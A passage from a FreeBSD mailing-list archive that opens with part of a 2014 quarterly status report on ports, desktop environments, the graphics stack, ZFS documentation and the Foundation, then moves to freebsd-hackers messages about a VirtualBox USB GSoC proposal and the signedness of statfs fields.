several developer libraries. A desired addition to the Ada ports will be SPARK 2014 (see links), which should cement FreeBSD as an option for professional, safety-critical application development. This package should have its first release by early summer. __________________________________________________________________ GCC in the Ports Collection URL: http://gcc.gnu.org/ Contact: Gerald Pfeifer While the age old version of the GNU Compiler Collection (GCC) in the base system is on its way out with FreeBSD 10 and later, there are many users who want--and some platforms which need--to use GCC. For that purpose there are various versions of GCC in the ports tree, including lang/gcc46, lang/gcc47, lang/gcc48 and lang/gcc49 which track upstream snapshots of the respective release branches, and more importantly lang/gcc which serves as the canonical version of GCC and is the default when a port requests USE_GCC=3Dyes as well as for some cases of USES=3Dcompiler. With a lot of help from Christoph Moench-Tegeder who fixed many ports and made a fair number respect CXXFLAGS, LDFLAGS and friends, we managed to update the canonical version from GCC 4.6.4 to GCC 4.7.3. Many of Christoph's fixes also benefit Clang and other modern compilers. For users of lang/gcc, this upgrade proved very smooth, and we generally recommend using this port over version specific ones. After ten years of service lang/gcc34 retired, as did lang/gcc44 after half that timespan. On a related note, with the help of John Marino, the license of the GCC ports now properly reflects the combination of GPLv3 for the compiler itself and GPLv3 with GCC Runtime Library Exception for the runtime. The latter is the key in making it possible to use GCC for building and distributing non-free software. Open tasks: 1. Move lang/gcc from GCC 4.7 to GCC 4.8. __________________________________________________________________ GNOME/FreeBSD URL: http://www.freebsd.org/gnome URL: https://wiki.gnome.org/Projects/Jhbuild/FreeBSD URL: https://github.com/jlmess77/mate-ports URL: http://marcuscom.com/downloads/marcusmerge Contact: FreeBSD GNOME Team GNOME is a desktop environment and graphical user interface that runs on top of a computer operating system. GNOME is part of the GNU Project and can be used with various Unix-like operating systems, including FreeBSD. Preparations for merging GNOME 3 are moving forward. The work on the documentation is falling behind a bit, but we got some solid feedback on the rough work to keep this moving forward as well. In the meantime, deprecation of ports that need the old GNOME 2 desktop ports has begun. These ports will break when the GNOME desktop components are updated to the GNOME 3 version. Thanks to a combined effort by Ryan Lortie (GNOME developer), Ting-Wei Lan (upstream contributor), and Koop Mast, we now have a FreeBSD-powered JHbuild tinderbox. JHbuild is a build system that allows building GNOME upstream code. Twice a day, it will attempt to build Gnome components from a specific branch, usually the git master branch, to catch compile issues. A positive side effect is that it lets upstream know GNOME still lives on non-Linux systems. It also exposes the GNOME code base to the Clang compiler and libc++. Since the start of this project over a hundred issues have been fixed. Gustau Perez has stepped up and put together a port set in the "ports-experimental" tree of our development repository with GNOME 3.12. It was decided to polish GNOME 3.12. It will be merged when the preparation work has (mostly) finished, and we are happy with the stability of GNOME 3.12. Gustau Perez also ported Cinnamon 2.0 to FreeBSD. It will appear in the Ports Collection after GNOME 3 has been merged. MATE 1.8 was released at the beginning of April, Eric Turgeon of GhostBSD had volunteered to do that update for FreeBSD. Note that this update is still based on GTK+, version 2. The GTK+ 3-based MATE is on the roadmap for 1.10. Open tasks: 1. Finish the work needed to be done before GNOME 3 can be merged at all. Documentation work, port deprecation, and so on. 2. Finish porting of MATE 1.8. 3. Update Cairo to 1.12 in coordination with the Graphics Team. __________________________________________________________________ KDE/FreeBSD URL: http://FreeBSD.kde.org/ URL: http://FreeBSD.kde.org/area51.php URL: http://portscout.freebsd.org/kde@freebsd.org.html Contact: KDE/FreeBSD Team KDE is an international free software community producing an integrated set of cross-platform applications designed to run on Linux, FreeBSD, Solaris, Microsoft Windows, and OS X systems. The KDE/FreeBSD Team have continued to improve the experience of KDE software and Qt under FreeBSD. During this quarter, the team has kept most of the KDE and Qt ports up-to-date, working on the following releases: * KDE SC: 4.12.2, 4.12.3, and 4.12.4; Workspace: 4.11.6, 4.11.7, and 4.11.8 * Qt: 5.2.1 * KDevelop: 4.6.0 * Digikam (and KIPI-plugins): 3.5.0 As a result -- according to PortScout -- kde@ has 526 ports (up from 464), of which 98.86% are up-to-date (up from 88.15%). iXsystems continues to provide a machine for the team to build packages and to test updates. They have been providing the KDE/FreeBSD team with support for quite a long time and we are very grateful for that. A major change has been the deprecation of the KDE3 ports and the move of the KDE4_PREFIX to LOCALBASE. Also, work on Qt5 continues to maturity. Raphael Kubo da Costa has been working with upstream to ensure Baloo (Nepomuk successor in KDE SC 4.13) compiles and runs on non-Linux systems. His work not only benefits FreeBSD but other BSDs and OS X. As usual, the team is always looking for more testers and porters, so please contact us and visit our home page (see links). It would be especially useful to have more helping hands on tasks such as getting rid of the dependency on the defunct HAL project and providing integration with KDE's Bluedevil Bluetooth interface. This project is sponsored by iXsystems, Inc. Open tasks: 1. Update out-of-date ports, see PortScout for a list. 2. Work on Qt 5. 3. Make sure the whole KDE stack (including Qt) builds and works correctly with Clang and libc++. 4. Remove the dependency on HAL. __________________________________________________________________ libvirt/bhyve Support URL: http://libvirt.org/drvbhyve.html URL: http://libvirt.org/ URL: http://empt1e.blogspot.ru/search/label/libvirt Contact: Roman Bogorodskiy Libvirt is a virtualization library providing a common API for various hypervisors (Qemu/KVM, Xen, LXC, and others), and also a popular library used by a number of projects. Libvirt 1.2.2, released on March, 2014, was the first release to include bhyve support. Enabling bhyve support allows consumers to use bhyve in libvirt-ready applications without major efforts. Currently, libvirt supports almost all essential features of bhyve, such as Virtual Machine lifecycle (start, stop), bridged networking, and virtio/SATA driver support. The work continues to implement more API calls and to cover more of features offered by bhyve. Open tasks: 1. FreeBSD port of netcf is needed for adding interface driver support to libvirt. __________________________________________________________________ OpenAFS on FreeBSD URL: http://openafs.org/ Contact: Benjamin Kaduk AFS is a distributed network filesystem that originated from the Andrew Project at Carnegie-Mellon University. OpenAFS is an open-source implementation of the AFS protocol derived from IBM AFS, which was released under the IBM Public License. OpenAFS on FreeBSD (the net/openafs port) is suitable for light use, but is not yet production ready. We got a chance to pick up this porting project after some hiatus. Recent work focused on investigating the bugs preventing the use of a disk cache for caching file data. An internal "lookupname" abstraction was intended to return an unlocked, referenced vnode, but instead returned a locked, referenced vnode, leading to various failure modes depending on the number of kernel debugging options enabled. Open tasks: 1. Track down an issue involving incorrect reference counts on the AFS root vnode that cause warnings on shutdown. 2. Audit the locking in all the vnode operations code -- it is expected that there remain some incorrectly locked areas, though none that present visible issues under light load. __________________________________________________________________ The Graphics Stack on FreeBSD URL: https://wiki.freebsd.org/Graphics URL: https://wiki.freebsd.org/Graphics/WITH_NEW_XORG URL: http://trillian.chruetertee.ch/ports/browser/trunk Contact: FreeBSD Graphics Team On the kernel side, the Radeon KMS driver was merged in stable/9 and will be available in FreeBSD 9.3-RELEASE. Now both the 9.x and 10.x branches share the same support for Intel and AMD GPUs. The next big tasks are the updates of the DRM generic code and the i915 driver. Both are making good progress and the DRM update should hopefully be ready for wider testing during April. An update of the Radeon driver is on the to-do list, but nothing is scheduled yet. On the ports tree and packages side, the update to Cairo 1.12 mentioned in the last quarterly report is ready to be committed, as people who tested it either reported improvements or no regressions. As a reminder, the switch from Cairo 1.10 to 1.12 causes display artifacts with xf86-video-intel 2.7.1, but fixes similar problems with other hardware/driver combinations. Furthermore, Cairo 1.12 is required by Pango 1.36.0, GTK+ 3.10 and Firefox 27.0. A "Heads up" mail will be posted to the freebsd-x11 mailing-list when this update goes live. In the graphics stack's ports development tree, new Mesa ports are being worked on. Those ports are required to support GLAMOR (the GL-based 2D acceleration library used by Radeon HD 7000+ cards for instance) and OpenCL (using the GPU to perform non-graphical calculations). We were able to execute some "Hello World" OpenCL programs and play with OpenCL in darktable, but there are some compatibility issues between Clover (Mesa's libOpenCL implementation) and Clang/libc++. We are preparing an alternate pkg(8) repository with packages built with WITH_NEW_XORG. The goal is to ease the usage of the KMS drivers and move forward with the graphics stack updates. The main pkg(8) repository will still use the default setting (WITH_NEW_XORG set on head, but not on the stable branches). This will pave the way to the deprecation ofWITH_NEW_XORG and the removal of the older stack. The current plan is to do this after 10.0-RELEASE End-of-Life, scheduled on January 31st, 2015. By that time, the only supported releases will be 8.4-RELEASE, 9.3-RELEASE and 10.1-RELEASE. FreeBSD 9.3 and 10.1 will be fully equipped to work with the newer stack. Unfortunately, FreeBSD 8.x misses the required kernel DRM infrastructure: supporting X.Org here cripples progress on the graphics stack and, once WITH_NEW_XORG is gone, we will not support 8.x as a desktop any more. Therefore, please upgrade to 9.3 or 10.1 when they are available. Open tasks: 1. See the "Graphics" and "WITH_NEW_XORG" wiki pages for up-to-date information. __________________________________________________________________ Using CentOS 6.5 as Linux Base URL: http://github.com/xmj/linux-ports URL: http://www.freebsd.org/cgi/query-pr.cgi?pr=3Dports/187786 Contact: Johannes Meixner The Linux emulation layer relies on a Linux base distribution along with Linux ports of relevant non-base software. Fedora 10 was imported in 2006, and it shows -- current Linux software like Skype 4, Sublime Text 2, or even modern games fail to run with the provided libraries. CentOS 6.5 was released in December 2013 and will be supported until 2017, making it an ideal basis for an update to the ports infrastructure. Built upon the work of Carlos Jacobo Puga Medina, all ports using Linux have been updated to work with either Fedora 10 or CentOS 6.5. The goal of this project is to make CentOS 6.5 the default Linux distribution, so that FreeBSD users can enjoy running modern Linux binaries without having to resort to virtualization =C3=A0 la VirtualBox= , or even dual-booting. This project is sponsored by Goldener Grund O=C3=9C. Open tasks: 1. Clean up Mk/bsd.linux-*.mk and fix errors detected in ports/187786. 2. Revert making c6 the default (in the git repository). 3. Testing. 4. Review patches and import into the ports tree (any help appreciated). 5. Make c6 the default (after sufficient testing) within the ports tree. __________________________________________________________________ Wine/FreeBSD URL: http://wiki.FreeBSD.org/Wine URL: http://wiki.FreeBSD.org/i386-Wine URL: http://www.winehq.org/ Contact: Gerald Pfeifer Contact: David Naylor Wine is a free and open source software application that aims to allow applications designed for Microsoft Windows to run on Unix-like operating systems, such as FreeBSD. The Wine project has been in maintenance mode this quarter and has updated the ports for the following versions: * Stable releases: 1.6.2 * Development releases: 1.7.9 through 1.7.15 The ports have packages built for amd64, available through the ports emulators/i386-wine and emulators/i386-wine-devel. Open tasks: 1. See the "Open Tasks" and "Known Problems" sections on the Wine wiki page. 2. FreeBSD/amd64 integration, consult the i386-Wine wiki page for the details. 3. Port WoW64 (supporting Windows 32-bit and 64-bit from the same port) and Wine64. __________________________________________________________________ Xfce/FreeBSD URL: https://wiki.freebsd.org/Xfce URL: https://svn.redports.org/olivierd/xfce4/ URL: https://people.freebsd.org/~olivierd/xfce-core-unstable.html URL: http://www.freebsd.org/cgi/query-pr.cgi?pr=3D183690 Contact: FreeBSD Xfce Team Xfce is a free software desktop environment for Unix and Unix-like platforms, such as FreeBSD. It aims to be fast and lightweight, while still being visually appealing and easy to use. The Xfce team continues to keep each piece of the Xfce Desktop up to date. The latest commits concerned: * Applications: - Midori (0.5.7) - xfburn (0.5.0) - xfce4-parole (0.5.4) - xfce4-taskmanager (1.0.1) - xfce4-tumbler (0.1.30) * Panel plugins: - xfce4-clipman-plugin (1.2.5) - xfce4-equake-plugin (1.3.4) - xfce4-wavelan-plugin (0.5.11) - xfce4-whiskermenu-plugin (1.3.2) We also follow development of core components (available in your repository). See the links for documentation on how to upgrade those libraries. * garcon (0.3.0) * libxfce4menu (4.11.1) * libxfce4util (4.11.0) * xfce4-appfinder (4.11.0) * xfce4-desktop (4.11.4) * xfce4-dev-tools (4.11.0) * xfce4-panel (4.11.0) * xfce4-parole (0.6.0) * xfce4-settings (4.11.2) * xfce4-session (4.11.0) * xfce4-wm (4.11.1) * xfce4-xkb-plugin (0.7.0) Open tasks: 1. Add support of DragonFly for xfce4-taskmanger. 2. Finish replacing Tango icon theme with GNOME, in order to close ports/183690 (see links, Midori remains to be fixed). __________________________________________________________________ ZFS Chapter of the Handbook URL: http://www.allanjude.com/zfs_handbook/zfs.html URL: http://www.allanjude.com/talks/AsiaBSDCon_2014_-_WIP_-_ZFS_Handbook= .pdf Contact: Allan Jude Contact: Benedict Reuschling Contact: Warren Block ZFS is one of the premier features of FreeBSD. The current documentation in the Handbook and elsewhere online is severely lacking. Much of the original documentation from Sun and Oracle has disappeared, moved, or is about the proprietary version of ZFS. New users have many questions about ZFS and yet there exists a great deal more bad advice about ZFS than proper documentation. The current ZFS chapter of the FreeBSD Handbook starts off with the required steps to configure an i386 machine to run ZFS. This is more likely to scare off a new user than to educate them about how to properly use ZFS. At BSDCan 2013, the process of writing an entirely new chapter of the Handbook on ZFS was started. Currently this chapter consists of approximately 16,000 words covering all subcommands of the zpool(8) and zfs(8) utilities, delegation, tuning and a section devoted to definitions and explanations of the terms and features of ZFS. The remaining section is the FAQ, to help users address the most common problems they might run into with ZFS. It would be useful to hear experiences, questions, misconceptions, gotchas, stumbling blocks, and suggestions for the FAQ section from other users. Also, it would be good to have a use cases section that highlights some of the cases where ZFS provides advantages over traditional file systems. Please send suggestions to the freebsd-doc mailing list. This project is sponsored by ScaleEngine, Inc. Open tasks: 1. Technical review by Matt Ahrens (co-creator of ZFS). 2. Improve delegation section. 3. Improve tuning section, add new sysctls added in head. 4. Add section on jails and the jailed property. 5. Add FAQ section. 6. Add "Use Cases" section. 7. General editing and review. __________________________________________________________________ FreeBSD Participating in Summer of Code 2014 URL: http://gsoc.FreeBSD.org/ URL: https://wiki.freebsd.org/SummerOfCode2014 Contact: Gavin Atkinson Contact: Glen Barber Contact: Wojciech Koszek FreeBSD is pleased to have been accepted as a participating organization in Google's Summer of Code 2014. This will be the tenth time we have participated in the program, having been selected to participate every year since its introduction. This year, the administrators made a special attempt to spread the word about Summer of Code around universities, including making contact with around 350 mainly Polish, British, African and American universities to advertise the Summer of Code program, with a particular focus on FreeBSD's participation. We made contact with both technical departments and student societies. Posters were produced in several languages, and FreeBSD committers and users were encouraged to distribute these posters around their local universities. FreeBSD received a total of 39 proposals from students, and were subsequently granted 15 slots from Google. We are now facing the unpleasant challenge of trying to decide which of the 39 proposals to select, taking into account the quality, desirability and feasibility of each proposal, as well as ensuring we will be able to provide an excellent mentoring experience to each selected student. All mentors have volunteered to mentor, and we pair students with mentors primarily based on the prospective mentor's areas of expertise, interest in the project, also taking into account the desire to pair students up with mentors in similar time zones in order to improve the student experience. The final list of accepted students is expected to be announced on the 21st April. __________________________________________________________________ The FreeBSD Foundation URL: http://www.FreeBSDFoundation.org/ URL: http://freebsdjournal.com/ Contact: Deb Goodkin The FreeBSD Foundation is a 501(c)(3) non-profit organization dedicated to supporting and promoting the FreeBSD Project and community worldwide. Most of the funding is used to support FreeBSD development projects, conferences and developer summits, purchase equipment to grow and improve the FreeBSD infrastructure, and provide legal support for the Project. We published the first issue of the FreeBSD Journal, our new on-line FreeBSD magazine. The positive feedback from both the FreeBSD and outside communities has been incredible. This quarter we began work on articles and promotion for the second issue. We also started working on a dynamic version of the magazine that can be read in many web browsers including those that run on FreeBSD. This year we are earmarking more funding towards FreeBSD advocacy and education. You will see more literature, white papers, articles, and so on to help promote FreeBSD. The Foundation held a board meeting in Berkeley, California, in January. We discussed longer term strategy and planning for the year. We put together our 2014 budget with a plan of raising at least $1,000,000 and spending $900,000. Two Foundation funded projects were completed. The first, co-sponsored by Google, integrated the Casper daemon into FreeBSD. The second was auditdistd(8) improvements for the FreeBSD cluster. Work continued on these Foundation-sponsored projects: Intel graphics driver update by Konstantin Belousov, UEFI boot support for amd64 by Ed Maste, autofs automounter and in-kernel iSCSI stack enhancements and bug fixes by Edward Tomasz Napierala, and updated vt(4) system console by Aleksandr Rybalko. A more detailed project update for each of the above projects can be found within this quarterly status report. We were a Gold Sponsor for NYCBSDCon 2014 in New York, February 8, which was attended by several board members. We were represented at SCALE in Los Angeles, February 22-23, and ICANN in Singapore, March 22-25. We were a sponsor for AsiaBSDCon in Tokyo, March 15-16. Board member Hiroki Sato was the conference organizer. Board members Kirk McKusick and George V. Neville-Neil taught tutorials and Kirk gave a keynote. Board member Dru Lavigne manned the foundation table and spoke at one of the sessions. We became a Gold+ sponsor for BSDCan 2014, May 16-17 and have started reaching out to vendors to attend the developer summit that runs in the two days before BSDCan. Board members George, Kirk, and Robert Watson pushed to finish the final draft of the next edition of their book "The Design and Implementation of the FreeBSD Operating System". ITWire editor Sam Varghese published an interview with Kirk and Foundation technical manager Ed Maste about the status of secure boot on FreeBSD. The FreeBSD Logo is now officially a registered trademark to represent the FreeBSD operating system. We are working to expand the registration beyond just the FreeBSD operating system, but currently still have to use the "TM" symbol when using it on apparel and other non-operating-system items. We continued reviewing requests and granting permission to use FreeBSD trademarks. After finishing the 10.0-RELEASE, Foundation system administrator and release engineer Glen Barber began work on adding support for FreeBSD/arm image builds as part of the release build process. As a result of this work, FreeBSD/arm images are produced as part of the weekly development snapshot builds, and are available from any of the FreeBSD FTP mirrors. Supported kernel configurations currently include BEAGLEBONE, RPI-B, PANDABOARD, WANDBOARD-QUAD, and ZEDBOARD. George visited six large FreeBSD users in the Bay Area in February. These meetings are conducted to help facilitate collaboration between FreeBSD customers and the FreeBSD Project. It is an opportunity to exchange information on what the customers are doing and what is being worked on in the Project. It is also an opportunity to try to connect customers with the appropriate FreeBSD developers who may be working on areas of FreeBSD that interest these customers. __________________________________________________________________ Love FreeBSD? Support the development with a donation to the FreeBSD Foundation! https://www.freebsdfoundation.org/donate/ From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 18 11:12:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 87246D73 for ; Fri, 18 Apr 2014 11:12:16 +0000 (UTC) Received: from mail.turbocat.net (mail.turbocat.net [IPv6:2a01:4f8:d16:4514::2]) (using TLSv1.1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 4B4E7135C for ; Fri, 18 Apr 2014 11:12:16 +0000 (UTC) Received: from laptop015.home.selasky.org (cm-176.74.213.204.customer.telag.net [176.74.213.204]) (using TLSv1 with cipher ECDHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by mail.turbocat.net (Postfix) with ESMTPSA id 666B61FE029; Fri, 18 Apr 2014 13:12:15 +0200 (CEST) Message-ID: <535108C8.6090503@selasky.org> Date: Fri, 18 Apr 2014 13:13:12 +0200 From: Hans Petter Selasky User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: CeDeROM , freebsd-hackers@freebsd.org Subject: Re: GSoC proposition: USB host/proxy fixups for VirtualBox References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 18 Apr 2014 11:12:16 -0000 On 03/12/14 17:56, CeDeROM wrote: > My proposition is to fix and make USB Host/Proxy more reliable on VirtualBox. > Hi, Have you got any feedback on this yet? Sounds like a good project, though not directly related to FreeBSD. VirtualBox sUSB Host/Proxy should have gone the LibUSB way and that might be part of your project? --HPS From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 18 11:22:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 79D911A4 for ; Fri, 18 Apr 2014 11:22:02 +0000 (UTC) Received: from mail-qc0-x22f.google.com (mail-qc0-x22f.google.com [IPv6:2607:f8b0:400d:c01::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 3A441148A for ; Fri, 18 Apr 2014 11:22:02 +0000 (UTC) Received: by mail-qc0-f175.google.com with SMTP id e16so1571006qcx.20 for ; Fri, 18 Apr 2014 04:22:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=7ItKcR7gjoZb0n6iExVBGVzFpwNTgPlydbCrFFyNv5I=; b=yxBv6ioll29F192d44mq7TC+2vnPddztDq4AeWip0O+xp5K1bl/pJTiq0QZBUCKegI 7+3sRulz+eRxQFGFdfGxCkvgG1H0D1otpt0dedlx+FgaIVd6o66zawsvWif/BCozY6Wa 3elo2eLyME5mVAkIIoIQPY8ftrLodxlxoY+ufSdDQtpMDrXIQ+9d08K1V1HawwXVvhLd sfBXhtpwhcLh1gm8KfRekFb1YLQquHawqhx52/OMh9MrrnOupnsGcG374PIXHt/kDVba XXwp2f/ji/LfFstZKoWiWTe7VL0CsyR8rf74z5cEHonVnoVutN3/t8pkLlPjLqIsCjqq eMUw== MIME-Version: 1.0 X-Received: by 10.224.172.131 with SMTP id l3mr17972946qaz.57.1397820121340; Fri, 18 Apr 2014 04:22:01 -0700 (PDT) Sender: tomek.cedro@gmail.com Received: by 10.229.209.73 with HTTP; Fri, 18 Apr 2014 04:22:01 -0700 (PDT) Received: by 10.229.209.73 with HTTP; Fri, 18 Apr 2014 04:22:01 -0700 (PDT) In-Reply-To: <535108C8.6090503@selasky.org> References: <535108C8.6090503@selasky.org> Date: Fri, 18 Apr 2014 13:22:01 +0200 X-Google-Sender-Auth: E7KdU5PctlbZ1FUQUMXGYPJ7gcE Message-ID: Subject: Re: GSoC proposition: USB host/proxy fixups for VirtualBox From: CeDeROM To: Hans Petter Selasky Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 18 Apr 2014 11:22:02 -0000 nope, no feedback :-( -- CeDeROM, SQ7MHZ, http://www.tomek.cedro.info From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 18 11:25:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5DD2C2E2 for ; Fri, 18 Apr 2014 11:25:11 +0000 (UTC) Received: from bay0-omc2-s17.bay0.hotmail.com (bay0-omc2-s17.bay0.hotmail.com [65.54.190.92]) by mx1.freebsd.org (Postfix) with ESMTP id 495A514AD for ; Fri, 18 Apr 2014 11:25:11 +0000 (UTC) Received: from BAY405-EAS357 ([65.54.190.124]) by bay0-omc2-s17.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675); Fri, 18 Apr 2014 04:24:05 -0700 X-TMN: [YvVCDgrXp5891bNFbZqaMsY3opAHcweX] X-Originating-Email: [szive@live.com] Message-ID: MIME-Version: 1.0 From: XuZhifeng To: =?utf-8?Q?CeDeROM?= Subject: =?utf-8?Q?Re:_GSoC_proposition:_USB_host/proxy_fixups_for_VirtualBox?= Importance: Normal Date: Fri, 18 Apr 2014 11:21:41 +0000 X-OriginalArrivalTime: 18 Apr 2014 11:24:05.0382 (UTC) FILETIME=[B51A4260:01CF5AF8] Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: =?utf-8?Q?FreeBSD-Hackers?= X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 18 Apr 2014 11:25:11 -0000 SXMgZmVlYmFjayBtZWFucyBjb21tZW50cyBvbiBwcm9wb3NhbD8NCg0KDQpUaGFua3MsDQoNClpo aWZlbmcNCg0KDQoNCg0KDQrlj5Hku7bkuro6IENlRGVST00NCuWPkemAgeaXtumXtDog4oCOMjAx NOKAjuW5tOKAjjTigI7mnIjigI4xOOKAjuaXpSDigI7mmJ/mnJ/kupQg4oCOMTnigI464oCOMjIN CuaUtuS7tuS6ujogSGFucyBQZXR0ZXIgU2VsYXNreQ0K5oqE6YCBOiBGcmVlQlNELUhhY2tlcnMN Cg0KDQoNCg0KDQpub3BlLCBubyBmZWVkYmFjayA6LSgNCg0KLS0NCkNlRGVST00sIFNRN01IWiwg aHR0cDovL3d3dy50b21lay5jZWRyby5pbmZvDQpfX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fXw0KZnJlZWJzZC1oYWNrZXJzQGZyZWVic2Qub3JnIG1haWxpbmcg bGlzdA0KaHR0cDovL2xpc3RzLmZyZWVic2Qub3JnL21haWxtYW4vbGlzdGluZm8vZnJlZWJzZC1o YWNrZXJzDQpUbyB1bnN1YnNjcmliZSwgc2VuZCBhbnkgbWFpbCB0byAiZnJlZWJzZC1oYWNrZXJz LXVuc3Vic2NyaWJlQGZyZWVic2Qub3JnIg== From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 18 16:12:07 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3B0CF5DA for ; Fri, 18 Apr 2014 16:12:07 +0000 (UTC) Received: from sunner.semmy.ru (sunner.semmy.ru [IPv6:2a00:14d0:0:20::3]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id ECB0711DE for ; Fri, 18 Apr 2014 16:12:06 +0000 (UTC) Received: from 95.108.170.111-red.dhcp.yndx.net ([95.108.170.111]) by sunner.semmy.ru with esmtpsa (TLSv1:DHE-RSA-AES128-SHA:128) (Exim 4.82 (FreeBSD)) (envelope-from ) id 1WbBOU-0009kq-3c for hackers@freebsd.org; Fri, 18 Apr 2014 20:12:02 +0400 Message-ID: <53514ED2.2060904@semmy.ru> Date: Fri, 18 Apr 2014 20:12:02 +0400 From: Sergey Matveychuk User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: hackers@freebsd.org Subject: statfs(2) Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Fri, 18 Apr 2014 16:35:29 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 18 Apr 2014 16:12:07 -0000 Hi. Tell me please, why f_bfree is unsigned and f_bavail is signed? struct statfs { ... uint64_t f_bfree; /* free blocks in filesystem */ int64_t f_bavail; /* free blocks avail to non-superuser */ ... From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 18 16:38:49 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1CFACCF0 for ; Fri, 18 Apr 2014 16:38:49 +0000 (UTC) Received: from albert.catwhisker.org (mx.catwhisker.org [198.144.209.73]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id BFE55141A for ; Fri, 18 Apr 2014 16:38:48 +0000 (UTC) Received: from albert.catwhisker.org (localhost [127.0.0.1]) by albert.catwhisker.org (8.14.8/8.14.8) with ESMTP id s3IGclW9042133; Fri, 18 Apr 2014 09:38:47 -0700 (PDT) (envelope-from david@albert.catwhisker.org) Received: (from david@localhost) by albert.catwhisker.org (8.14.8/8.14.8/Submit) id s3IGcl5W042132; Fri, 18 Apr 2014 09:38:47 -0700 (PDT) (envelope-from david) Date: Fri, 18 Apr 2014 09:38:46 -0700 From: David Wolfskill To: Sergey Matveychuk Subject: Re: statfs(2) Message-ID: <20140418163846.GF38950@albert.catwhisker.org> References: <53514ED2.2060904@semmy.ru> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha512; protocol="application/pgp-signature"; boundary="aZoGpuMECXJckB41" Content-Disposition: inline In-Reply-To: <53514ED2.2060904@semmy.ru> User-Agent: Mutt/1.5.23 (2014-03-12) Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 18 Apr 2014 16:38:49 -0000 --aZoGpuMECXJckB41 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 18, 2014 at 08:12:02PM +0400, Sergey Matveychuk wrote: > Hi. >=20 > Tell me please, why f_bfree is unsigned and f_bavail is signed? >=20 > struct statfs { > ... > uint64_t f_bfree; /* free blocks in filesystem */ > int64_t f_bavail; /* free blocks avail to non-superuser */ > ... > ... f_bavail can be negative. f_bfree cannot. If f_bavail were "free blocks avail" (that is, without the "to non-superuser" qualification), then it would always be non-negative too. But it's not. Peace, david --=20 David H. Wolfskill david@catwhisker.org Taliban: Evil cowards with guns afraid of truth from a 14-year old girl. See 